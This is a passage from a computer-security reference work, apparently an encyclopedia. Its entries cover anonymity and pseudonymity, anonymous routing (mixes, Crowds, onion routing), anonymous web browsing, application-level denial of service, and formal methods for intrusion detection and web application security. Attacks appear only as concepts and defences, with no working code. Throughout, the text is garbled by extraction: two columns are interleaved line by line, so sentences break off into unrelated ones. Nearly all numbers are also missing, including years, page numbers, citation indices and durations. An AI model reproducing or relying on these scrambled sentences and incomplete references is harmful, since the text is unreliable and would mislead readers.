for end users. in sending certain e-mail messages, talking in certain chat
A second challenge rises from the Internet-connected rooms, publishing certain papers, etc. Consider a partic-
nature of many smartphone applications. Often, applica- ular system, for example, an electronic voting scheme,
tions have permission to access both the Internet and with participants P , P , . . . , Pn who seek anonymity with
security or privacy sensitive information (e.g., location). respect to a certain class A of action types A , A , . . . , Am ,
Once such an application accesses sensitive information, for example, casting ballots B (for candidate ), B for
it is very difficult for any operating system to restrict its candidate , and so forth to Bm for candidate m, against
flow to the Internet. One promising approach is TaintDroid an attacker who observes the system. In this system,
[], which uses dynamic taint analysis to track in realtime anonymity with respect to the class A of action types means
information use and identify when it is sent to the network. that for each i, the attacker cannot distinguish participant
However, TaintDroid only identifies that information was Pj ( j n) executing action type Ai , denoted [Pj :
sent to the network, and not whether or not the disclosure Ai ], from any other participant Pk ( k n) execut-
was intended. In essense, the environment necessitates ing action type Ai . Expressed in terms of unlinkability,
informed consent, which can only be achieved through a anonymity with respect to A means that for each action
combination of technical and non-technical solutions. type Ai ( i m) and each two participants Pj , Pk ,
the two events [Pj : Ai ] and [Pk : Ai ] are unlinkable (by
Recommended Reading the attacker). In this case, the anonymity set of the event
. Android Developers, Tools and documentation on how to create
[Pj : Ai ] is the set of all individuals P , P , . . . , Pn , that
Android applications, http://developer.android.com/index.html
. Barrera D, Kayacik HG, van Oorschot P, Somayaji A () A
is, those who the attacker cannot distinguish from Pj when
methodology for empirical analysis of permission-based security they execute action type Ai []. Sometimes, the anonymity
models and its application to android. In Proceedings of the ACM set is more adequately defined in probabilistic terms as the
Conference on Computer and Communications Security set of all individuals who the attacker cannot distinguish
. Enck W, Gilbert P, Chun B-G, Cox LP, Jung J, McDaniel P, Sheth A
with better than a small probability, which needs to be
() TaintDroid: an information-flow tracking system for real-
time privacy monitorying on smartphones. In Proceedings of the
defined.
USENIX Symposium on Operating Systems Design and Imple- The anonymity set of an event is a volatile quantity
mentation that is beyond control of a single individual and typically
A Anonymity
changes significantly in size over time. For example, at the actions. The use of pseudonyms may be rare, occasional,
start of the voting period, only few participants may have or frequent, and may be fully deliberate.
reached the voting booths, while in the afternoon almost
everyone may have cast his vote. Hence, soon after the start Applications
of the system, an attacker may not have a hard time guess- Anonymity is an important requirement of certain sys-
ing who has cast a particular vote of the few that have been tems used by democratic societies. For example, the casting
cast in the system. of votes in democratic elections shall not be observable.
In order to apply this notion to a particular crypto- In certain situations, individuals can speak freely only if
graphic scheme, the attacker model needs to be specified their anonymity is guaranteed. Likewise, users should be
further. For example, is it a passive attacker such as an able to purchase things and services without being observ-
eavesdropper, or is it an active attacker (cryptanalysis)? able in each payment transaction. However, the concern
If passive, which communication lines can he observe and about systems that allow individuals, companies, or other
when. If active, how can he interact with the honest sys- stakeholders to perform transactions anonymously is that
tem participants (e.g., oracle access) and thereby stimulate stakeholders could misuse their anonymity in order to dis-
certain behavior of the honest participants, or how many tribute illegal content, overly consume system resources,
honest participants can he control entirely? (The num- mislead or coerce other stakeholders to take action they
ber of honest participants an attacker can control without would otherwise avoid, launder money, etc. Even more
breaking a system is sometimes called the resilience of dangerously, such misuse may be very hard to detect, let
the system.) Is the attacker assumed to be computationally alone be provable, after the fact.
restricted or computationally unrestricted (computational The inherent conflict between anonymity and account-
security)? Based on a precise attacker model, anonymity ability is usually resolved at an organizational level. Some
can be defined with respect to specific classes of critical authority or network of authorities register the true and
action types, that is, action types of particular concern verifiable identities of the stakeholders before they are
to the honest participants. Examples of critical actions admitted access to the system. As long as they adhere to
are withdrawing and paying amounts in an electronic the rules of conduct, the system preserves and enforces
cash scheme, getting credentials issued and using them their anonymity. But in case someone breaches the rules of
in an electronic credential scheme, casting ballots in conduct he can be identified and traced back by the respec-
electronic voting schemes, etc. tive registering authority. Practical examples are Internet
A measure of anonymity is the strength of the attacker Cafes that require an ID from users before giving access
model against which anonymity holds and the sizes of all to the Internet. Similar measures have been proposed for
anonymity sets. The stronger the attacker model is, the anonymous electronic cash. However, the more power-
stricter the anonymity sets are defined, and the larger the ful and centralized the registering authority is, the higher
sizes of all anonymity sets are, the stronger anonymity is is the risk that someone misuses the authoritys identifying
achieved. and observing power. This reincarnates the fundamental
An important tool to achieve anonymity is dilemma between individual freedom, such as free speech
pseudonyms [, ]. In messaging systems, specific exam- on the one hand and law enforcement on the other hand in
ples of anonymity are sender anonymity, recipient the digital age [].
anonymity, and communication channel anonymity.
Sender anonymity can be achieved if senders use pseudony- Recommended Reading
mous addresses for sending messages, recipient anonymity . Chaum D () Showing credentials without identifica-
can be achieved if recipients use pseudonymous addresses tion: signatures transferred between unconditionally unlinkable
for receiving messages, and communication channel pseudonyms. In: Pichler F (ed) Advances in cryptology: EURO-
CRYPT. Lecture notes in computer science, vol . Springer,
anonymity can be achieved if any two individuals use
Berlin, pp
a joint pseudonym for sending messages between each . Pfitzmann A, Khntopp M () Anonymity, unobservability,
other. and pseudonymity: a proposal for terminology. In: Frederrath H
Anonymity can be regarded the opposite extreme of (ed) Designing privacy enhancing technologies. Lecture notes in
complete identifiability (accountability). Either extreme is computer science, vol . Springer, Berlin, pp
. Rao JR, Rohatgi P () Can pseudonyms really guarantee
often undesirable. The whole continuum between anonymi
privacy? In: Proceedings of the th USENIX Symposium, Denver,
ty and complete identifiability is called pseudonymity. Aug
Pseud onymity is the use of pseudonyms as IDs or . Diffie W, Landau S () Privacy on the line. MIT Press,
addresses by individuals in order to perform certain Cambridge
Anonymous Routing A
strong way. A mix changes the appearances of messages by

Anonymity in Data Mining encryption and padding. It also changes the flow of mes-
sages by collecting multiple messages, reordering them,
Data Mining (Privacy in) and then flushing them in a batch, ensuring the timing of
A
messages does not leak any linking information.
Anonymizer [] is a sender anonymity solution, which
prevents online tracking by blocking the real IP address.
Anonymous Communication Anonymizer replaces the information in the packet head-
ers so that the web sites cannot infer the real users
Anonymous Routing identities. However, the Anonymizer site can track all the
anonymous user activities and is therefore a single point
of failure. Crowds [] is another system for protecting
senders anonymity. It is based on the idea of blending
Anonymous Routing into a crowd, i.e., hiding ones actions within the actions
of many others. Upon receiving one request, each mem-
Yi Yang, Sencun Zhu ber of Crowds can either submit the request directly to the
Department of Computer Science and Engineering, end server or forward it to another random chosen mem-
Pennsylvania State University, University Park, PA, USA ber. When the request is eventually submitted, it is done so
by a random member, thus preventing the end server from
Synonyms identifying its true initiator. In onion routing [], messages
Anonymous communication; Routing anonymity are repeatedly encrypted and then sent through several
network nodes called onion routers. Each onion router
Related Concepts removes a layer of encryption to uncover routing instruc-
Anonymity; Privacy; Routing tions, and sends the message to the next router where this
is repeated. This prevents these intermediary nodes from
Denition knowing the origin, destination, and contents of the mes-
Anonymous routing is a technique to make the identi- sage. Onion routing does not provide perfect sender or
ties and location information of parties in communications receiver anonymity. That is, it is possible for a local eaves-
anonymous. dropper to observe that an individual has sent or received
a message. However, it does provide for a strong degree of
Background unlinkability.
There are three types of anonymous communications: Anonymous routing is a complex issue in ad hoc wire-
sender anonymity, receiver anonymity, and unlinkability less networks due to such factors as wireless medium,
of sender and receiver. Sender anonymity means that the node mobility, and lack of infrastructure. An adversary
identity of the party who sent a message is hidden, while (or a set of adversaries) can easily eavesdrop over wireless
its receiver (and the message itself) might not be. Receiver communication channels, and then disclose the commu-
anonymity means that the identity of the receiver is hidden. nication content and/or interfere with the normal com-
Unlinkability of sender and receiver means that although munication in the network. In addition, due to the lack
the sender and receiver can each be identified as partic- of infrastructure, the source and destination nodes need
ipating in communication, they cannot be identified as to rely on the intermediate nodes to relay their messages.
communicating with each other. This makes the nodes even more susceptible to attacks and
Since Chaums seminal work in [], so far hundreds motivates the study of anonymous routing in MANETs.
of papers have been concentrated on building, analyzing, Example protocols are ANODR [] and MASK [] and
and attacking anonymous communication systems []. they use techniques such as pseudonym and broadcast.
Description here is based on those most relevant ones in Each node en route is associated with a random route
both wired and wireless networks. pseudonym and data forwarding in the network is based
on route pseudonyms; thus, local senders and receivers
Theory need not reveal their identities in wireless transmission.
Mix and mix cascade were the earliest type of anonymous Multicast/broadcast is a network-based mechanism to pro-
routing systems, first introduced by Chaum. Mix is a vide recipient anonymity support because an external
node that achieves unlinkability in a cryptographically observer cannot tell which node is the real recipient.
A Anonymous Web Browsing and Publishing
Open Problems Anonymous Web publishing refers to the same security

An open problem on anonymous routing in MANETs is properties for the case of publishing content on the Web.
how to protect against a global eavesdropper. Normally,
network-wide dummy traffic has to be introduced to Theory
provide anonymity under a global eavesdropper. However, While talking about anonymous Web browsing and pub-
this method is prohibitively expensive in terms of message lishing one has to specify if the user (sender anonymity) or
overhead. Clearly, there is a trade-off between perfor- the Web server (recipient anonymity) wants to stay anony-
mance and anonymity in this process. How to enable mous. Moreover, one has to define the entities (attacker
such countermeasures while offering an acceptable level of model) against which anonymity should be guaranteed.
performance is unclear. Another open problem is to pro- Any solution for anonymous Web browsing has to pro-
vide theoretically provable anonymity levels under clear vide anonymity on the communication layer (communica-
adversary models. tion channel anonymity) as well as the application layer.
Additionally anonymous Web publishing has to ensure
Recommended Reading that the published content will not (directly or indirectly)
. Chaum D () Untraceable electronic mail, return address, and reveal any identifying information about the publisher.
digital pseudonyms. Comm ACM (): In general, anonymity at the communication layer is
. Anonymity bibliography, http://www.freehaven.net/anonbib/ achieved by rerouting the network traffic through one or
full/date.html
more third parties. Anonymity at the application layer is
. Anonymizer. http://www.anonymizer.com
. Reiter MK, Rubin AD () Crowds: Anonymity for web trans- often implemented by means of filters that try to remove
actions. ACM Trans Inf Sys Sec (TISSEC) (): any data that would affect the anonymity in case of the
. Reed MG, Syverson PF, Goldschlag DM () Anonymous con- Web (HTTP), which usually comprises Cookies, Referers,
nections and onion routing. IEEE J Select Areas Comm, Special ETags, etc.
Issue on Copyright and Privacy Protection ():
. Kong J, Hong X () ANODR: Anonymous on demand routing
with untraceable routes for mobile ad-hoc networks. In Fourth
Applications
ACM International Symposium on Mobile Ad Hoc Networking A simple solution for anonymous Web browsing is the usage
and Computing (MobiHoc), pp of a single proxy. This could either be a proxy at the appli-
. Zhang Y, Liu W, Lou W () Anonymous communications in cation layer, i.e., a Web proxy or a proxy at the communi-
mobile ad hoc networks. In IEEE INFOCOM,
cation layer. For the latter, often VPN-based solutions are
used.
The proxy solution can be used for sender anonymity
as well as recipient anonymity. In the latter case, a user does
Anonymous Web Browsing and not know the true address (URL) of a Web site but some
Publishing identifier, e.g., an encryption of the URL. The proxy knows
the linkage between the identifier and the true URL so that
Stefan Kpsell it can process the request.
Institute of Systems Architecture, Department On the users side, the proxy can either be accessed by
of Computer Science, Technische Universitat, a specialized software that has to be installed on the users
Dresden, Germany computer and acts as a local proxy, which will then for-
ward the users Web browser traffic through the third-party
proxy. Alternatively Zero Footprint solutions are possible.
Related Concepts Here the users access a Web site of the proxy provider using
Communication Channel Anonymity; DC Network; their Web browser. In a form of this Web site they have to
Mix Networks; Recipient Anonymity; Sender enter their requested URL. The proxy provider fetches the
Anonymity; Unlinkability requested Web site and sends it back to the users browser,
thereby rewriting any hyperlink (URL) included in the
Denition returned Web site with a special form. If the user then
Anonymous Web browsing means surfing the Web without clicks on a link the content will again be fetched trough
leaving digital traces that could be used to reveal identify- the proxy.
ing information about the communicating entities (user, A drawback of such a simple proxy solution is that the
Web server) or link different activities (transactions) of proxy provider has to be trusted as he will learn about all
these entities. the communication relations of a given user. Moreover,
Anonymous Web Browsing and Publishing A
if the communication between the Web proxy provider and anonymization service. If the attacker knows that a certain
the user is not encrypted, an eavesdropper can easily see Web site (e.g., a Web site related to a certain Web mail
which user requests which Web sites. Even if encryption account) will at different points in time always be
is used, it is often possible for an eavesdropper listening accessed by the same user, the attacker can calculate inter-
A
before and after the proxy to derive from the observed traf- sections of the set of users at the relevant points in time.
fic pattern who is communicating with whom (Traffic As the set of users of a given anonymization service will
Analysis). change over time, the intersections will finally reveal the
In order to mitigate the mentioned risks, a chain of user in question with high propability.
proxies can be used or the proxy used can be changed after Other problems arise from the kind of Web offers
a certain amount of time. The latter is often realized by accessed by the users. Here especially services in the con-
using so-called open proxies. An open proxy is one that text of Web . are problematic, because one of the basic
could be used by anyone without access control. Such prox- principles of such services is that the user provides some
ies are usually the result of configuration mistakes by the content (e.g., text, images, or videos), which could be used
proxy operators. Lists of such proxies can be downloaded to derive identifying information. Moreover behind many
from the Internet and are utilized by local proxy soft- Web . applications some kind of social network exists.
ware. As the intended use of an open proxy is usually not Even if a user who wants to use a given Web . applica-
providing anonymity, one needs to select them carefully. tion chooses his pseudonym carefully, often it is possible
Otherwise it might happen that they will reveal identify- to derive his true identity with the help of the structure of
ing information about the user, e.g., the users IP address the social network of other Web . applications this user
by means of the X-Forwarded-For HTTP header participates non-anonymously [] (Web . Security and
element. Privacy).
If better protection of the anonymity is needed, MIX- Finally, problems also arise from design and imple-
based solutions for the communication layer should be mentation flaws of modern Web browsers, especially
used, e.g., Tor [] or AN.ON []. w.r.t. active content, e.g., JavaScript, Java, Flash, ActiveX.
Another approach for realizing anonymity especially Utilizing such content, an attacker (e.g., a Web site oper-
for the Web was the Crowds system []. In this system every ator) can often get access to identifying information of
user has to install a software called Jondo. Then a closed the execution environment of the Web browser (e.g., the
group of users, called a Crowd was formed by a central IP address of the host computer). Using covert channels
instance called the Blender. If a user wants to access a Web this information can than be transmitted to the attacker,
site, the Jondo of that users forwards this request with a e.g., by embedding it undetectably in an URL subsequently
certain probability p to a randomly selected member of accessed by the Web site.
the crowd. With the probability p the Jondo directly
sends the request to the Web server. If a Jonodo receives a
request from another Jondo, it does basically the same, i.e.,
Experimental Results
The AN.ON [] and the Tor projects [] offer open source
forwards the request with probability p to another Jondo
software and services that could be used to browse the Web
and with probability p to the Web server.
anonymously.
Open Problems
There are still many open problems with anonymous Web Recommended Reading
browsing. Basically there now exists practical solution at . Berthold O, Federrath H, Kpsell S () Web MIXes: a system
the moment that offers protection against strong attack- for anonymous and unobservable Internet access. In Proceed-
ers, which are able to observe and control large parts of the ings of Privacy Enhancing Technologies Workshop (PET ),
Springer, Berlin/Heidelberg, LNCS , Juli , pp
Internet.
. Berthold O, Langos H () Dummy traffic against long term
There are many reasons for this. One is that the intersection attacks. Proceedings of Privacy Enhancing Tech-
known and existing solutions for anonymity at the nologies Workshop (PET ), Springer, Berlin/Heidelberg,
communication layer do not offer the needed level of LNCS , , pp
protection. . Dingledine R, Mathewson N, Syverson PF ()
Tor: The Second-Generation Onion Router. Pro-
Another important problem is known as (long-term)
ceedings of the th USENIX Security Symposium,
intersection attacks []. Here the attacker observes (if nec- http://www.usenix.org/publications/library/proceedings/sec/
essary for a long time) who is using a given anonymiza- tech/full_papers/dingledine/dingledine.pdf, August , pp
tion service and which Web sites are accessed by this
A Anthropometric Authentication
. Narayanan A, Shmatikov V () De-anonymizing social net-

works. Proceedings of the th IEEE Symposium on Security and Application-Level Denial of
Privacy, , pp Oakland, California Service
. Reiter MK, Rubin AD () Crowds: anonymity for Web trans-
actions. ACM Transactions on Information and System Security,
Mudhakar Srivatsa, Arun Iyengar
Vol. () November , pp
. The AN.ON Project. http://anon.inf.tu-dresden.de/
IBM Research Division, Thomas J. Watson Research
. The TOR Project. http://www.torproject.org/ Center, Yorktown Heights, NY, USA
There exists a very good bibliography on anonymous communi-
cation at: http://freehaven.net/anonbib/
Synonyms
Smart/algorithmic denial of service
Related Concepts
Anthropometric Authentication Availability; DoS Detection; DoS Pushback;
Jamming Attack Defense; Network Bandwidth DoS;
Biometric Authentication Overlay-Based DoS Defenses; Packet-Dropping Attack;
SYN Cookie Defense; SYN Flood Attack; Trust Man-
agement
Anthropometrics Denition
Application-level denial of service (DoS) attacks are a
Biometrics for Forensics class of emerging DoS attacks that target higher layers
in an application stack as against network layer attacks.
Application-level DoS attacks essentially mimic flash
crowds with the goal of severely crippling an electronic
Anthropometry service and evading traditional DoS filters by morphing
the attack requests so that they are nearly indistinguishable
Biometrics for Forensics
from the legitimate requests.
Background
Anti-DoS Cookies DoS attacks attempt to render an electronic service
unavailable to its intended users. Traditional DoS attacks
Protocol Cookies typically refer to flooding-based attacks that attempt to
inundate a Web server with numerous requests with the
goal of exhausting the servers computational or network-
ing resources. Recently, smart DoS attacks have been
Anti-Jamming Strategy crafted by skilled hackers against businesses with the goal
of extorting, disabling, or impairing the competition [].
Jamming Attack Defense Such sophisticated DoS attacks have become increasingly
detrimental as they focus not only on low-level network
flooding but also on higher layers in an application stack
(e.g., thread pool, server cache, database, etc.) [].
Antispam Based on Sender Application-level DoS attacks essentially mimic flash
Reputation crowds [, ] with the goal of severely crippling a Web
site (or other server) and evading traditional DoS fil-
Spam Detection Using Network-Level Characteristics ters by morphing the attack requests so that they are
nearly indistinguishable from the legitimate requests [].
For example, an FBI affidavit [] describes a case wherein
an e-commerce Web site, WeaKnees.com, was subject to
Antivirus an organized DoS attack staged by one of its competi-
tors. These attacks slammed into WeaKnees.com, crip-
Malware Detection pling the site, which sells digital video recorders, for a
Application-Level Denial of Service A
period of h. In response, WeaKnees.com moved to a Traditional DoS filters typically employ either a
more expensive hosting at RackSpace.com that mitigated preauthorization- or a challenge-based approach. A pre-
naive flooding attacks using superior bandwidth capabil- authorization-based approach uses authentication mecha-
ities. However, the attackers adapted their attack strat- nisms (e.g., login password, public key certification, etc.)
A
egy and replaced simple flooding attacks with a HTTP to restrict access to a select set of users. While such an
flood that mimics flash crowds, but selectively pulls out approach is meaningful for enterprise networks, it does
large image files from WeaKnees.com. At its peak, it is not apply to open e-commerce Web sites. Challenge-based
believed that this onslaught kept the company offline for mechanisms provide an alternative solution for DoS pro-
a full weeks, causing a loss of several million dollars in tection without requiring preauthorization. For example,
revenue. an image-based challenge (e.g., the client may be asked
Several improvised versions of such application-level to type in several letters shown in an image) [] may be
DoS attacks have been observed in the recent past includ- used to determine whether the client is a real human being
ing: () carefully crafted stream of attack requests that or an automated script. However, most challenge mecha-
thrashes a Web servers cache [], () attacks on dynamic nisms violate client transparency. For instance, an image-
Web pages that trigger expensive database operations (e.g., based challenge does not distinguish between a legitimate
join over two large database tables) [], () attacks that automated client script and a DoS attack script, and thus
target specific hash table implementations with the goal blocks benign client scripts from accessing an overloaded
of inducing hash table collisions [], () attacks that tar- Web site.
get expensive cryptographic operations (e.g., verifying a It is hard for a traditional network-level DoS filters
digital signature in SSL handshakes) []. to distinguish between a smart DoS attack request and
One can often refrain from using DoS protection algo- a legitimate request. For example, a network-level DoS
rithms when the request load is low enough so that perfor- filter that examines any statistics (mean, variance, etc.)
mance is not adversely affected. Once the load on the Web on the request rate, the contents of the request packet
site reaches a level where performance becomes a problem, headers (internet protocol (IP), transmission control pro-
DoS protection becomes essential. While general schemes tocol (TCP), hyper-text transfer protocol (HTTP), etc.),
for handling overload and admission control can be used or even the entire content of the request packet using
for mitigating the effects of DoS attacks, many of these static rules will find no statistically significant differ-
schemes penalize both malicious and legitimate clients. It ences between a smart DoS attack request and a legit-
is far more preferable to use solutions that can identify imate request. Additionally, the subtle nature of smart
malicious clients and throttle requests from them as much DoS attacks make it very hard to exhaustively enumerate
as possible so that legitimate clients are affected as little as all possible smart DoS attacks that could be launched by
possible. an adversary. Therefore, what is needed is an automated
security solution that mitigates smart DoS attacks with-
out knowing their precise nature of operation. Further,
Theory and Application as in the case of WeaKnees.com, the attackers may con-
An effective solution to defend against DoS attacks should tinuously change their strategy to evade traditional DoS
be widely deployable, that is, it should not require signifi- protection mechanisms. Hence, there is a need for a secu-
cant changes to the client/server software stack. Addition- rity solution that is resilient to a wide class of attack
ally, a client, be it a benign human user or a benign client strategies.
script, should be able to transparently interact with the Autonomic DoS protection mechanisms that adopt a
Web server without requiring functional changes. How- control theoretic approach have been developed []. The
ever, it appears that an effective defense against DoS attacks control loop for DoS protection is built around a control
must operate at lower layers in the networking stack so variable (client priority level) as follows: () application-
that an IP-layer firewall can filter attack packets before level sensors monitor resource consumption and request
they can consume significant resources at the server. Note utility on a per-client basis, () a dynamic priority con-
that solutions that operate at higher layers on the net- trol takes monitored data as input and throttles a clients
working stack are vulnerable to attacks from below. On the priority level, and () the system (Web server/firewall)
other hand, smart DoS attacks typically exploit applica- throttles the clients request rate based on its priority level.
tion semantics that are either unavailable or too complex An autonomic DoS protection mechanism, besides being
(e.g., state dependent) to be encoded as IP-layer firewall client-transparent, captures the intrinsic characteristic of
rules. smart DoS attacks (low-utility resource-intensive requests)
A Applications of Formal Methods to Intrusion Detection
and is thus very effective in filtering a priori unknown Denition

attacks and adaptive attacks. The application of formal methods to intrusion detection
is the use of techniques for formal specification and verifi-
Open Problems cation in systems that are designed to detect intrusions or
Autonomic DoS protection mechanisms present a first step malware.
toward truly analyzing DoS attacks as a rewardpenalty
game between the attacker(s) and the application (or Web Background
server). There are several open problems in this domain The terms formal methods and intrusion detection do
that span research areas from system design to utility not normally go together in peoples minds, but there are
theory. Possible directions of future research include: () many places in intrusion detection systems in which for-
building light-weight application-level monitors that esti- mal methods can potentially be useful. An intrusion detec-
mate resource consumption on a per-client basis, () min- tion system must specify desirable or undesirable behavior.
ing latent utility model for client requests (servers reward Methods for formally specifying that behavior and analyz-
for processing a clients request) using historical access ing the resulting specification can do much to help elim-
logs and revenues, and () building optimal dynamic con- inate redundancy and contradictions, and to give insights
trollers that are provably resilient to strategic attackers into the results of that behavior. Although the use of formal
amidst errors in monitoring data. methods is not yet widespread among intrusion detection
systems, researchers have started to pay more attention to
it as a potentially effective tool.
Recommended Reading
. Srivatsa M, Iyengar A, Yin J, Liu L () Mitigating application
level denial of service attacks on web servers: a client transparent
Applications
approach. ACM Trans Web () There are several areas in intrusion detection where formal
. Crosby SA, Wallach DS () Denial of service via algorithmic methods have been applied.
complexity attacks. In USENIX security symposium Signature-based intrusion detection systems make use
. CERT () Incident Note IN- W/Novarg.A Virus of a set of specifications, or signatures, of intrusions. When
. Leyden J () East European gangs in online protection
such a system identifies behavior that matches the signa-
racket www.theregister.co.uk////east- european-gangs-
in-online/ ture, it raises an alarm. The specification of these signatures
. Jung J, Krishnamurthy B, Rabinovich M () Flash crowds is important. If they are too specific, they will miss slight
and denial of service attacks: characterization and implications variants of attacks, and if they are too broad, they will intro-
for CDNs and web sites. In World Wide Web conference duce false positives. Moreover, it is also necessary to be
(WWW)
able to tell when two signatures refer to the same attack, in
. Kandula S, Katabi D, Jacob M, Berger A () Botz--
sale: surviving organized DDoS attacks that mimic flash order to reduce redundancy when combining information
crowds. In Networks Systems Design and Implementation from intrusion detection systems. Formal specification and
(NSDI) analysis techniques can be useful for both the genera-
. Poulsen K () FBI busts alleged DDoS mafia. www. tion and classification of such signatures. For example, in
securityfocus.com/news/
[] Stakhanova and Ghorbani use representations of signa-
. Bicakci K, Crispo B, Tanenbaum AS () Reverse SSL:
improved server performance and DoS resistance for SSL hand- tures as finite state machines to detect redundancies in two
shakes. In CRYPTO open source signature-based systems.
Anomaly, or model-based intrusion detection systems
are supplied with a model of correct behavior. They then
monitor program behavior and flag any behavior that is
not in conformance with the model. Formal methods can
Applications of Formal Methods be helpful in classifying these models and understanding
to Intrusion Detection their behavior. For example, in [] Feng et al. formalize a
number of models based on pushdown automata, and use
Catherine Meadows it to classify them in terms of efficiency in sensitivity.
U.S. Naval Research Laboratory, Washington, DC, USA More recently, techniques from formal methods have
been incorporated directly in tools.
Examples include the binary analysis platform Vine
Related Concepts used the BitBlaze project []. In Vine, binaries are trans-
Biba Integrity Model; Biba Model; Malware lated into an intermediate formal language, which can be
Detection checked via a weakest precondition generator or formal
Applications of Formal Methods to Web Application Security A
decision procedures. BitBlaze (and Vine) has been used, Related Concepts
for example, in the automatic generation of signatures from Static Analysis; Theorem Proving
vulnerabilities.
Denition A
Open Problems The use of formal methods in web application security
Formal methods have started to see use in intrusion detec- refers to the use of techniques such as static analysis and
tion systems. Initially their impact was limited mainly to model checking to analyze web application software for
second-order applications such as analysis of different sig- security properties.
nature or model generation schemes. More recently they
have seen use in the generation and analysis of models and Background
signatures. However their impact is still somewhat lim- Verification of programs has been a topic of interest and
ited by the fact that formal methods for the most part has remained a topic of active interest for nearly three
are not expressive enough to deal with the type of statisti- decades. With the growth of web applications, researchers
cal behavior descriptions that intrusion detection systems started investigating the use of formal methods to web
must often deal with. Indeed, in [], in which Cheung application security. Techniques such as static analysis are
et al. use the PVS specification language and executable being increasingly used to analyze web applications for
specification tool to develop models of Modbus TCP net- security properties. With attacks such as SQL injection and
work behavior for intrusion detection, they conclude that Cross-site Scripting becoming increasingly common, sev-
one of the reasons for their success was the somewhat eral new methods were developed to analyze and identify
restricted behavior of Modbus networks, which are ded- vulnerabilities in web applications.
icated to control flow. However, research is ongoing in
probabilistic techniques in formal methods, including such Theory
potentially relative areas as quantitative information flow A web application is a distributed application that has a
analysis and probabilistic model checking. As these tech- client side and a server side. The client side (code) of the
niques become more mature, we expect more applications application runs on a web browser and the server side
of formal methods to intrusion detection to arise. (code) runs on the web application server. During a run of
the web application, the client solicits n string inputs from
Recommended Reading the user and sends them to the server for processing. For-
. Stakhanova N, Ghorbani A () Managing intrusion detection
rule sets. In: Proceedings of the third European workshop on
mally, each string input is a finite sequence of characters
system security EUROSEC, Paris, Apr from some alphabet , n-tuple of such inputs as I, and the
. Feng HH, Giffin JT, Huang Y, Jha S, Lee W, Miller BP () set of all such I as I. These inputs are received and pro-
Formalizing sensitivity in static analysis for intrusion detection. cessed by server code S, which in turn produces a resulting
In: IEEE symposium on security and privacy, Oakland, May web page output L (or a SQL query, depending on the prob-
. Song D, Brumley D, Yin H, Caballero J, Jager I, Kang MG,
Liang Z, Newsome J, Poosankam P, Saxena P () BitBlaze: a
lem formulation), and the set of all such L as L. Thus, a web
new approach to computer security via binary analysis. In: ICISS application server code can be seen as a mapping from a set
. LNCS, vol . Springer, Heidelberg, pp of tuple of string inputs I into a language of web pages or
. Cheung S, Dutertre B, Fong M, Lindqvist U, Skinner K, Valdes A SQL queries L.
() Using model-based intrusion detection for SCADA net- With the above formalism, we examine the work done
works. In: Proceedings of the SCADA security scientific sympo-
sium, Miami Beach, Jan
in web application security through the use of formal
methods. Our description is along three broad categories
that are described below.
Language-Based Modeling of Web Applications: User-
supplied inputs often appear in the web page output L.
Applications of Formal Methods However, if unchecked they can trick the application in
to Web Application Security generating an undesired output L thus resulting in code
injection attacks. For SQL injection attacks, Wassermann
V. N. Venkatakrishnan et al. [] observed that user inputs should remain confined
Department of Computer Science, University of Illinois at to certain tokens of output L and proposed a SQL grammar
Chicago, Chicago, IL, USA based detection technique for SQL injection attacks.
Minamide [] approximated a web applications output
Synonyms L by a Context Free Grammar (CFG) and then computed
Formal methods; Web application security its intersection with regular expressions representing
A Applications of Rank-Metric Codes
attack payloads. A non-empty intersection then confirmed Recommended Reading

Cross-site Scripting (XSS) vulnerabilities in the web appli- . Wassermann G, Su Z () Sound and precise analysis of web
cation. These attacks are often caused by insufficient val- applications for injection vulnerabilities. In: PLDI: proceed-
ings of the th conference on programming language design
idation, and Balzarotti et al. [] proposed a technique to
and implementation, San Diego, CA, USA
find insufficient sanitization. It modeled the output of san- . Minamide Y () Static approximation of dynamically gener-
itization operations as automatons and then checked if the ated web pages. In: WWW: proceedings of the th interna-
output could contain known attacks strings. tional conference on World Wide Web, Chiba, Japan
Static Analysis: Static analysis has been extensively used . Balzarotti D, Cova M, Felmetsger V, Jovanovic N, Kirda E,
Kruegel C, Vigna G () Saner: composing static and dynamic
for vulnerability detection. A large body of work stati-
analysis to validate sanitization in web applications. In: SP:
cally finds flows in web applications that use unsanitized proceedings of the th IEEE symposium on security and pri-
untrusted data in sensitive operations to identify vulner- vacy, Oakland, CA, USA
abilities []. Intuitively these approaches reason about . Jovanovic N, Kruegel C, Kirda E () Pixy: a static analysis
vulnerabilities in L. These approaches rely on techniques tool for detecting web application vulnerabilities. In: SP: pro-
ceedings of the th IEEE symposium on security and privacy,
like symbolic execution to explore paths and widening
Oakland, CA, USA
approximation [] to learn values that a variable may hold . Livshits VB, Lam MS () Finding security vulnerabilities
at certain program locations. in Java applications with static analysis. In: SS: proceed-
Static analysis has also been used to enforce security- ings of the th USENIX security symposium, Baltimore, MD,
by-construction. Chong et al. [] proposed splitting a pro- USA
. Huang Y-W, Yu F, Hang C, Tsai C-H, Lee D-T, Kuo S-Y ()
gram in C and S such that the resulting web application
Securing web application code by static analysis and runtime
enforces confidentiality and integrity. Bisht et al. [] protection. In: WWW: proceedings of the th international
employed symbolic execution to analyze L and trans- conference on world wide web, New York, NY, USA
formed S to make use of PREPARE statements thus ren- . Xie Y, Aiken A () Static detection of security vulnerabil-
dering it safe from SQLIA. ities in scripting languages. In: SS: proceedings of the th
USENIX security symposium, Vancouver, BC, Canada
Model Checking and Theorem Proving: Model checking is a
. Christensen AS, Mller A, Schwartzbach MI () Precise
search space exploration technique. It has been extensively analysis of string expressions. In: SAS: proceedings of the
used in vulnerability analysis and exploit construction. th international conference on static analysis, San Diego,
Martin et al. [] used a goal-directed approach for con- CA, USA
structing SQL injection and Cross-site Scripting exploits. . Chong S, Liu J, Myers AC, Qi X, Vikram K, Zheng L, Zheng X
() Secure web application via automatic partitioning.
By exploring the space of URL requests, the technique
SIGOPS Oper Syst Rev ():
enables session-aware analysis resulting in exploits that . Bisht P, Sistla AP, Venkatakrishnan VN () Automatically
span multiple requests through a session. preparing safe SQL queries. In: FC: proceedings of the th
Another area where constraint solving has been international conference on financial cryptography and data
applied in web applications is in the area of vulnerabil- security, Tenerife, Canary Islands, Spain
. Martin M, Lam MS () Automatic generation of XSS and SQL
ity analysis. It is well known that the client side of a web
injection attacks with goal-directed model checking. In: SS:
application runs in an untrusted environment, potentially proceedings of the th conference on security symposium, San
under an attackers control. Therefore, any security checks Jose, CA, USA
done by the client side of a web application C need to . Bisht P, Hinrichs T, Skrupsky N, Bobrowicz R, Venkatakrishnan
